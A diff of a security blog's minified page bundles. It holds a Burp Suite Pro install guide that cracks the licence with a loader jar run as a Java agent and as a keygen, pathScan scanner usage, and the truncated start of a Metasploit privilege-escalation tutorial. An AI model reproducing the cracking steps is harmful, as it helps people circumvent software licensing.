17:57:00"})]})})]}),"\n",(0,a.jsxs)(n.p,{children:["\u5927\u5bb6\u597d\uff0c\u6211\u662f",(0,a.jsx)(n.strong,{children:"\u5c0f\u738b\u8bf4\u5b89\u5168"}),"\uff0c\u4eca\u5929\u7ed9\u5927\u5bb6\u5e26\u6765\u4e00\u4efd\u9762\u5411\u6e17\u900f\u6d4b\u8bd5/\u5e94\u7528\u5b89\u5168\u5de5\u7a0b\u5e08\u7684 Burp Suite 2025.10 \u4e13\u4e1a\u7248 ",(0,a.jsx)(n.strong,{children:"\u5b89\u88c5\u4e0e\u63d2\u4ef6\u914d\u7f6e"})," \u5168\u6d41\u7a0b\u6307\u5357\uff08\u542b Windows / macOS / Linux\uff09\uff0c\u5e76\u4e14\u540e\u7eed\u66f4\u65b0 Burp \u53ea\u9700\u8981\u4e0b\u8f7d \u53cc\u51fb Burp \u6700\u65b0\u5b89\u88c5\u5305\uff0c\u5373\u53ef\u66f4\u65b0\uff0c\u65e0\u9700\u4efb\u4f55\u914d\u7f6e\u3002"]}),"\n",(0,a.jsxs)(n.p,{children:["\u672c\u6b21\u5206\u4eab\u7684 ",(0,a.jsx)(n.strong,{children:"BurpSuite 2025.10 \u4e13\u4e1a\u7248\u5b8c\u6574\u8d44\u6e90"}),"\uff08\u542b\u5b89\u88c5\u7a0b\u5e8f\u3001\u6559\u7a0b\u3001\u63d2\u4ef6\u96c6\uff09\u5747\u5df2\u6253\u5305\u4e0a\u4f20\u81f3\u767e\u5ea6\u7f51\u76d8\u3002\u6709\u9700\u8981\u7684\u670b\u53cb\uff0c\u8bf7\u5173\u6ce8\u516c\u4f17\u53f7 ",(0,a.jsx)(n.strong,{children:"\u201c\u5c0f\u738b\u8bf4\u5b89\u5168\u201d"}),"\uff0c\u5728\u540e\u53f0\u56de\u590d\u5173\u952e\u8bcd ",(0,a.jsx)(n.strong,{children:"\u3010BurpSuite2025.10\u3011"}),"\uff0c\u5373\u53ef\u83b7\u53d6\u4e0b\u8f7d\u94fe\u63a5\uff01"]}),"\n",(0,a.jsxs)(n.p,{children:[(0,a.jsx)(n.strong,{children:"\u3010\u6e29\u99a8\u63d0\u793a\u3011"})," \u672c\u8d44\u6e90\u4ec5\u4f9b\u5b89\u5168\u7814\u7a76\u4e0e\u5b66\u4e60\u4e4b\u7528\uff0c\u8bf7\u52ff\u7528\u4e8e\u975e\u6cd5\u7528\u9014"]}),"\n",(0,a.jsx)(n.h2,{id:"windows\u5b89\u88c5\u6559\u7a0b",children:"WINDOWS\u5b89\u88c5\u6559\u7a0b"}),"\n",(0,a.jsxs)(n.p,{children:["\u9996\u5148\u6211\u4eec\u4e0b\u8f7d\u5bf9\u5e94\u7cfb\u7edf\u7684\u5b89\u88c5\u5305\uff0c\u4f8b\u5982\u6211\u662f ",(0,a.jsx)(n.strong,{children:"windows amd64"})," \u67b6\u6784\u7684\u7cfb\u7edf\uff0c\u6211\u9009\u62e9\u4e0b\u8f7d ",(0,a.jsx)(n.code,{children:"burpsuite_pro_windows-x64_v2025_10_1.exe"})," \u3001 ",(0,a.jsx)(n.code,{children:"burpsuitloader-4.11.22-all.jar"}),"\u3001",(0,a.jsx)(n.code,{children:"burpsuite hash.txt"})]}),"\n",(0,a.jsxs)(n.p,{children:["\u8ba1\u7b97\u5176 \u5b89\u88c5\u5305\u7684",(0,a.jsx)(n.strong,{children:"md5"}),"\u662f\u5426\u4e0e\u5b98\u7f51\u63d0\u4f9b\u7684",(0,a.jsx)(n.strong,{children:"md5"}),"\u4e00\u81f4"]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-powershell",children:'\nPS C:\\Users\\Administrator\\Downloads> Get-FileHash -Path "burpsuite_pro_windows-x64_v2025_10_1.exe" -Algorithm MD5\n\nAlgorithm Hash Path\n--------- ---- ----\nMD5 646508514E8FBB19224BC7F118840931 C:\\Users\\Administrator\\Downlo...\n\n\nPS C:\\Users\\Administrator\\Downloads>\n'})}),"\n",(0,a.jsx)(n.p,{children:(0,a.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202511041756441.png",alt:"image-20251104172707465"})}),"\n",(0,a.jsx)(n.p,{children:"\u82e5 md5 \u503c\u5339\u914d\u4e86\u5c31\u9009\u62e9\u53cc\u51fb\u5b89\u88c5\u5305\uff0c\u5e76\u9009\u62e9\u5b89\u88c5\u4f4d\u7f6e\u3002"}),"\n",(0,a.jsx)(n.p,{children:(0,a.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202511041756442.png",alt:"image-20251104173412093"})}),"\n",(0,a.jsxs)(n.p,{children:["\u5b89\u88c5\u5b8c\u6210\u540e\uff0c\u5c06",(0,a.jsx)(n.code,{children:"burpsuitloader-4.11.22-all.jar"})," \u79fb\u52a8\u5230 ",(0,a.jsx)(n.code,{children:"Burp"})," \u7684\u5b89\u88c5\u76ee\u5f55"]}),"\n",(0,a.jsx)(n.p,{children:(0,a.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202511041756443.png",alt:"image-20251104173548153"})}),"\n",(0,a.jsx)(n.p,{children:"\u7136\u540e\uff0c\u5c06\u4e0b\u9762\u7684\u6587\u4ef6\u66ff\u6362\u6210\u4e0b\u65b9\u7684\u5185\u5bb9"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-sh",children:"C:\\Program Files\\BurpSuitePro\\BurpSuitePro.vmoptions\n"})}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-tex",children:"-XX:MaxRAMPercentage=50\n-include-options settings.vmoptions\n-include-options user.vmoptions\n--add-opens=java.desktop/javax.swing=ALL-UNNAMED\n--add-opens=java.base/java.lang=ALL-UNNAMED\n--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED\n--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED\n--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED\n-noverify\n-javaagent:burpsuitloader-4.11.22-all.jar=loader,han\n"})}),"\n",(0,a.jsx)(n.p,{children:(0,a.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202511041756444.png",alt:"image-20251104173637566"})}),"\n",(0,a.jsx)(n.p,{children:"\u7136\u540e\u627e\u5230 burp \u5b89\u88c5\u5305\u5b89\u88c5\u7684 java.exe,\u5b83\u4f4d\u4e8e\u76ee\u5f55\u4e0b\u7684\u8fd9\u4e2a\u6587\u4ef6\u4e2d,\u542f\u52a8\u6ce8\u518c\u673a"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-powershell",children:'& "C:\\Program Files\\BurpSuitePro\\jre\\bin\\java.exe" -jar .\\burpsuitloader-4.11.22-all.jar\n'})}),"\n",(0,a.jsx)(n.h2,{id:"macos-\u5b89\u88c5\u6559\u7a0b",children:"MACOS \u5b89\u88c5\u6559\u7a0b"}),"\n",(0,a.jsxs)(n.p,{children:["\u9996\u5148\u6211\u4eec\u4e0b\u8f7d\u5bf9\u5e94\u7cfb\u7edf\u7684\u5b89\u88c5\u5305\uff0c\u4f8b\u5982\u6211\u662f ",(0,a.jsx)(n.strong,{children:"macos m2"})," \u67b6\u6784\u7684\u7cfb\u7edf\uff0c\u6211\u9009\u62e9\u4e0b\u8f7d ",(0,a.jsx)(n.code,{children:"burpsuite_pro_macos_arm64_v2025_10_1.dmg"})," \u3001 ",(0,a.jsx)(n.code,{children:"burpsuitloader-4.11.22-all.jar"}),"\u3001",(0,a.jsx)(n.code,{children:"burpsuite hash.txt"})]}),"\n",(0,a.jsxs)(n.p,{children:["\u8ba1\u7b97\u5176 \u5b89\u88c5\u5305\u7684",(0,a.jsx)(n.strong,{children:"md5"}),"\u662f\u5426\u4e0e\u5b98\u7f51\u63d0\u4f9b\u7684",(0,a.jsx)(n.strong,{children:"md5"}),"\u4e00\u81f4"]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-sh",children:"\u279c ~ md5sum burpsuite_pro_macos_arm64_v2025_10_1.dmg\n4ddf2e8f7ca2c11a3f9dc46e75e594db burpsuite_pro_macos_arm64_v2025_10_1.dmg\n"})}),"\n",(0,a.jsx)(n.p,{children:(0,a.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202511041756445.png",alt:"image-20251104170936843"})}),"\n",(0,a.jsxs)(n.p,{children:[(0,a.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202511041756446.png",alt:"image-20251104171034781"}),"\u82e5\u4f60\u7684\u5b89\u88c5\u5305\u7684 md5 \u4e0e\u5b98\u7f51\u63d0\u4f9b\u7684\u4e0d\u4e00\u81f4\uff0c\u90a3\u4e48\u8bf7\u4e0d\u8981\u5b89\u88c5"]}),"\n",(0,a.jsxs)(n.p,{children:["\u53cc\u51fb\u5b89\u88c5\u5305\uff0c\u5c06 ",(0,a.jsx)(n.strong,{children:"Burp Suite Professional.app"})," \u79fb\u52a8\u5230 ",(0,a.jsx)(n.strong,{children:"Applications"})]}),"\n",(0,a.jsx)(n.p,{children:(0,a.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202511041756447.png",alt:"image-20251104171254485"})}),"\n",(0,a.jsxs)(n.p,{children:["\u7136\u540e\u5c06",(0,a.jsx)(n.code,{children:"burpsuitloader-4.11.22-all.jar"})," \u79fb\u52a8\u5230 ",(0,a.jsx)(n.code,{children:"/Applications/Burp Suite Professional.app/Contents/Resources/app"}),"\u76ee\u5f55\u4e0b"]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-sh",children:"cp burpsuitloader-4.11.22-all.jar '/Applications/Burp Suite Professional.app/Contents/Resources/app'\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u7136\u540e\uff0c\u5c06\u4e0b\u9762\u7684\u6587\u4ef6\u66ff\u6362\u6210\u4e0b\u65b9\u7684\u5185\u5bb9"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-sh",children:"/Applications/Burp Suite Professional.app/Contents/vmoptions.txt\n"})}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-tex",children:"-XX:MaxRAMPercentage=50\n-include-options settings.vmoptions\n-include-options user.vmoptions\n--add-opens=java.desktop/javax.swing=ALL-UNNAMED\n--add-opens=java.base/java.lang=ALL-UNNAMED\n--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED\n--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED\n--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED\n-noverify\n-javaagent:burpsuitloader-4.11.22-all.jar=loader,han\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u7136\u540e\u6253\u5f00\u6ce8\u518c\u673a\uff0c\u8fd0\u884c\u4e00\u4e0b\u547d\u4ee4"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-sh",children:'cd "/Applications/Burp Suite Professional.app/Contents/Resources/app" && "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" -jar burpsuitloader-4.11.22-all.jar\n'})}),"\n",(0,a.jsx)(n.p,{children:"\u5982\u679c\u51fa\u73b0\u4ee5\u4e0b\u9519\u8bef"}),"\n",(0,a.jsx)(n.p,{children:(0,a.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202511041756448.png",alt:"197393162-cdd3be46-6e33-42e2-8c62-773a991ba59d"})}),"\n",(0,a.jsx)(n.p,{children:"\u8fd0\u884c"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-sh",children:"sudo xattr -r -d com.apple.quarantine /Applications/Burp\\ Suite\\ Professional.app\n"})}),"\n",(0,a.jsx)(n.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,a.jsx)(n.p,{children:"\u867d\u7136\u5b89\u88c5\u6b65\u9aa4\u4e9b\u8bb8\u7e41\u7410\uff0c\u597d\u5728\u4e0d\u4f9d\u8d56\u4efb\u4f55\u73af\u5883\uff0c\u4f60\u53ef\u4ee5\u79fb\u9664\u4efb\u4f55Java \u73af\u5883\uff0c\u5e76\u4e14\u540e\u7eed\u66f4\u65b0\uff0c\u53cc\u51fb Burp \u6700\u65b0\u5b89\u88c5\u5305\uff0c\u5373\u53ef\u66f4\u65b0\uff0c\u65e0\u9700\u91cd\u590d\u6fc0\u6d3b\u3002\u90a3\u4e48\u56de\u590d\u3010BurpSuite2025.10\u3011\u5373\u53ef\u9886\u53d6\u4e0a\u8ff0\u7684\u6240\u6709\u5b89\u88c5\u73af\u5883\u6559\u7a0b\u3001\u4ee5\u53ca\u6240\u7528\u5230\u7684 Burp \u63d2\u4ef6"})]})}function p(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,a.jsx)(n,{...e,children:(0,a.jsx)(c,{...e})}):c(e)}}}]); \ No newline at end of file diff --git a/assets/js/3b74ab2a.32e02eac.js b/assets/js/3b74ab2a.32e02eac.js new file mode 100644 index 0000000..58ccf52 --- /dev/null +++ b/assets/js/3b74ab2a.32e02eac.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3536],{23051:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20230815134122981-8ce7ac63ca94ae88767c8b19ff77c2fa.png"},28453:(e,n,s)=>{s.d(n,{R:()=>i,x:()=>l});var t=s(96540);const c={},a=t.createContext(c);function i(e){const n=t.useContext(a);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function l(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(c):e.components||c:i(e.components),t.createElement(a.Provider,{value:n},e.children)}},36911:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20230815130555877-71fb87f6c36b9afa91c41df607f937ab.png"},49954:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20230822153932227-3ac02ce39c37cc6771894b043e83aca1.png"},50528:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>d,contentTitle:()=>l,default:()=>o,frontMatter:()=>i,metadata:()=>t,toc:()=>r});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u547d\u4ee4\u53c2\u6570","title":"\u547d\u4ee4\u53c2\u6570","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/06.pathScan-doc/03.\u547d\u4ee4\u53c2\u6570.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/06.pathScan-doc","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u547d\u4ee4\u53c2\u6570","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u547d\u4ee4\u53c2\u6570","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/06.pathScan-doc/03.\u547d\u4ee4\u53c2\u6570.md","tags":[],"version":"current","sidebarPosition":3,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u521d\u59cb\u5316","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u521d\u59cb\u5316"},"next":{"title":"\u626b\u63cf\u6a21\u5f0f","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u626b\u63cf\u6a21\u5f0f"}}');var c=s(74848),a=s(28453);const i={},l="\u547d\u4ee4\u53c2\u6570",d={},r=[{value:"\u83b7\u53d6\u57fa\u672c\u547d\u4ee4",id:"\u83b7\u53d6\u57fa\u672c\u547d\u4ee4",level:2},{value:"\u57fa\u672c\u4f7f\u7528",id:"\u57fa\u672c\u4f7f\u7528",level:2}];function h(e){const n={blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,a.R)(),...e.components};return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsxs)(n.table,{children:[(0,c.jsx)(n.thead,{children:(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,c.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,c.jsx)(n.tbody,{children:(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{style:{textAlign:"left"},children:(0,c.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,c.jsx)(n.td,{style:{textAlign:"left"},children:"2023-08-22 17:33:34"})]})})]}),"\n",(0,c.jsx)(n.header,{children:(0,c.jsx)(n.h1,{id:"\u547d\u4ee4\u53c2\u6570",children:"\u547d\u4ee4\u53c2\u6570"})}),"\n",(0,c.jsxs)(n.blockquote,{children:["\n",(0,c.jsx)(n.p,{children:"[!Tip]"}),"\n",(0,c.jsxs)(n.p,{children:[(0,c.jsx)(n.code,{children:"pathScan"}),"\u4f7f\u7528\u7684\u662f",(0,c.jsx)(n.code,{children:"nuclei"}),"\u5de5\u5177\u7684\u98ce\u683c\u547d\u4ee4\u884c, ",(0,c.jsx)(n.code,{children:"-help"}),"\u3001",(0,c.jsx)(n.code,{children:"--help"})," \u4e0d\u654f\u611f"]}),"\n"]}),"\n",(0,c.jsx)(n.h2,{id:"\u83b7\u53d6\u57fa\u672c\u547d\u4ee4",children:"\u83b7\u53d6\u57fa\u672c\u547d\u4ee4"}),"\n",(0,c.jsxs)(n.p,{children:["\u60a8\u53ef\u4ee5\u8fd0\u884c",(0,c.jsx)(n.code,{children:"pathScan -help"}),"\u6765\u83b7\u5f97\u5e2e\u52a9"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"\u279c ~ pathScan -help\nPathScan Go \u626b\u63cf\u3001\u4fe1\u606f\u6536\u96c6\u5de5\u5177\n\nUsage:\n pathScan [flags]\n\nFlags:\n\u8f93\u5165:\n -u, -url string[] \u76ee\u6807(\u4ee5\u9017\u53f7\u5206\u5272)\n -list string[] \u4ece\u6587\u4ef6\u4e2d,\u8bfb\u53d6\u76ee\u6807\n -tr, -target-remote string \u4ece\u8fdc\u7a0b\u52a0\u8f7d\u76ee\u6807\n -tc, -target-channel \u4ece\u901a\u9053\u4e2d\u52a0\u8f7d\u76ee\u6807\n -resume string \u4f7f\u7528resume.cfg\u6062\u590d\u626b\u63cf\n -mf, -match-file string \u6307\u7eb9\u6587\u4ef6\u8def\u5f84\n"})}),"\n",(0,c.jsx)(n.h2,{id:"\u57fa\u672c\u4f7f\u7528",children:"\u57fa\u672c\u4f7f\u7528"}),"\n",(0,c.jsxs)(n.ul,{children:["\n",(0,c.jsx)(n.li,{children:"\u63a2\u5bfb\u4e00\u4e2a\u5b8c\u6574\u7684\u57fa\u672c\u8def\u5f84\uff0c\u5e76\u6392\u9664404\u54cd\u5e94"}),"\n"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"pathScan -u https://wjlin0.com -sc 404\n"})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20230815130555877",src:s(36911).A+"",width:"784",height:"442"})}),"\n",(0,c.jsxs)(n.ul,{children:["\n",(0,c.jsx)(n.li,{children:"\u4ece\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce\u4e2d\uff0c\u6536\u96c6\u4fe1\u606f"}),"\n"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"# \u9996\u5148\u5f97\u628akey\u914d\u7f6e\u5230 provider-config.yaml \u6587\u4ef6\u4e2d\npathScan -ue quake -uq 'baidu.com' -uc\n"})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20230815131000873",src:s(99411).A+"",width:"776",height:"540"})}),"\n",(0,c.jsxs)(n.ul,{children:["\n",(0,c.jsxs)(n.li,{children:["pathScan\u9ed8\u8ba4\u4e0d\u4f1a\u4ece\u7f51\u9875\u4e2d\u53d1\u73b0\u65b0\u7684URL\uff0c\u5982\u679c\u4f60\u53d1\u73b0\u5176\u4ed6\u8def\u5f84\uff0c\u5219\u53ef\u6307\u5b9a",(0,c.jsx)(n.code,{children:"-so/-sd"})," \u5141\u8bb8\u53d1\u73b0\u5176\u4ed6URL"]}),"\n"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"pathScan -u http://blog.wjlin0.com/ -sd\n"})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20230815134122981",src:s(23051).A+"",width:"947",height:"488"})}),"\n",(0,c.jsxs)(n.ul,{children:["\n",(0,c.jsx)(n.li,{children:"\u6536\u96c6\u67d0\u4e2a\u57df\u540d\u7684\u6240\u6709\u5b50\u57df\u540d"}),"\n"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"# \u5c3d\u53ef\u80fd\u6536\u96c6\u66f4\u591a\u7684\u8d44\u4ea7\u4fe1\u606f \npathScan -sub -sq baidu.com -sd\n"})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20230822153932227",src:s(49954).A+"",width:"1302",height:"651"})})]})}function o(e={}){const{wrapper:n}={...(0,a.R)(),...e.components};return n?(0,c.jsx)(n,{...e,children:(0,c.jsx)(h,{...e})}):h(e)}},99411:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20230815131000873-290b6db6df230032dd0d008f96b341cd.png"}}]); \ No newline at end of file diff --git a/assets/js/3c35d1af.c26e8747.js b/assets/js/3c35d1af.c26e8747.js new file mode 100644 index 0000000..da0644a --- /dev/null +++ b/assets/js/3c35d1af.c26e8747.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1341],{28453:(n,e,s)=>{s.d(e,{R:()=>c,x:()=>r});var i=s(96540);const l={},t=i.createContext(l);function c(n){const e=i.useContext(t);return i.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function r(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(l):n.components||l:c(n.components),i.createElement(t.Provider,{value:e},n.children)}},33254:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>d,contentTitle:()=>r,default:()=>h,frontMatter:()=>c,metadata:()=>i,toc:()=>o});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/MSF\u63d0\u6743","title":"MSF\u63d0\u6743","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/01.MSF\u63d0\u6743.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/MSF\u63d0\u6743","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/MSF\u63d0\u6743","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/01.MSF\u63d0\u6743.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"oss-put","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/oss-put"},"next":{"title":"\u5185\u7f51\u6e17\u900f","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/"}}');var l=s(74848),t=s(28453);const c={},r=void 0,d={},o=[{value:"1.msfconsole \u57fa\u672c\u4f7f\u7528\u547d\u4ee4",id:"1msfconsole-\u57fa\u672c\u4f7f\u7528\u547d\u4ee4",level:2},{value:"2.\u6a21\u5757",id:"2\u6a21\u5757",level:2},{value:"exploit",id:"exploit",level:3},{value:"payload",id:"payload",level:3},{value:"auxiliary",id:"auxiliary",level:3},{value:"encode",id:"encode",level:3},{value:"3.\u5b9e\u6218 ms16-032\u63d0\u6743",id:"3\u5b9e\u6218-ms16-032\u63d0\u6743",level:2},{value:"1.\u67e5\u770b\u5f53\u524d\u6743\u9650\u3001\u7248\u672c\u3001ip\u7b49\uff0c\u53d1\u73b0\u662f\u4e00\u4e2awin7\u4e13\u4e1a\u6743\u9650\u5f88\u4f4e\u7684\u7528\u6237",id:"1\u67e5\u770b\u5f53\u524d\u6743\u9650\u7248\u672cip\u7b49\u53d1\u73b0\u662f\u4e00\u4e2awin7\u4e13\u4e1a\u6743\u9650\u5f88\u4f4e\u7684\u7528\u6237",level:3},{value:"2.\u8fdc\u7a0b\u52a0\u8f7dsherlock\u67e5\u770b\u5f53\u524d\u7248\u672c\u6f0f\u6d1e\u4fe1\u606f\u5e76\u5bfc\u5165\u4e00\u4e2a1.txt\u6587\u4ef6\u4e2d",id:"2\u8fdc\u7a0b\u52a0\u8f7dsherlock\u67e5\u770b\u5f53\u524d\u7248\u672c\u6f0f\u6d1e\u4fe1\u606f\u5e76\u5bfc\u5165\u4e00\u4e2a1txt\u6587\u4ef6\u4e2d",level:3},{value:"3.\u6211\u4eec\u4f7f\u7528msf\u505a\u4e00\u4e2a\u6728\u9a6c\u7a0b\u5e8f",id:"3\u6211\u4eec\u4f7f\u7528msf\u505a\u4e00\u4e2a\u6728\u9a6c\u7a0b\u5e8f",level:3}];function p(n){const e={a:"a",code:"code",h2:"h2",h3:"h3",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,t.R)(),...n.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsxs)(e.table,{children:[(0,l.jsx)(e.thead,{children:(0,l.jsxs)(e.tr,{children:[(0,l.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(e.tbody,{children:(0,l.jsxs)(e.tr,{children:[(0,l.jsx)(e.td,{style:{textAlign:"left"},children:(0,l.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(e.td,{style:{textAlign:"left"},children:"2025-08-19 16:44:37"})]})})]}),"\n",(0,l.jsx)(e.p,{children:"msf-\u822c\u4f1a\u6709\u56db\u79cd\u63a5\u53e3\u5bf9\u5916\u63d0\u4f9b, msfconsole\u3001 msfc\u3001 msfgui\u4ee5\u53ca msfet,\u6211\u4eec\u4e3b\u8981\u4ee5 msfconsole\u6765\u505a\u8bb2\u89e3\u4e0e\u6f14\u793a\u3002"}),"\n",(0,l.jsx)(e.h2,{id:"1msfconsole-\u57fa\u672c\u4f7f\u7528\u547d\u4ee4",children:"1.msfconsole \u57fa\u672c\u4f7f\u7528\u547d\u4ee4"}),"\n",(0,l.jsx)(e.p,{children:"\u542f\u52a8\uff1a msfconsole"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644170.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:"\u4f7f\u7528\u6307\u5357\uff1ahelp"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644172.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:"\u57fa\u7840\u547d\u4ee4"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{children:"search ms17 #\u67e5\u627e\n\nuse exploit/multi/handler #\u4f7f\u7528 \n\ninfo #\u67e5\u770b\u4fe1\u606f \n\nshow exploits/payloads/options #\u663e\u793a\u53ef\u7528\u4fe1\u606f \n\nset options/payload #\u7ed9\u76f8\u5173\u5bf9\u8c61\u8d4b\u503c \n\nexploit/run #\u6267\u884c \n\nexploit #\u540e\u53f0\u8fd0\u884c \n\nback #\u8fd4\u56de\u4e0a\u4e00\u7ea7 \n\nsessions -i #\u67e5\u770b\u5f53\u524d\u53ef\u7528\u4f1a\u8bdd \n\nsessions -K 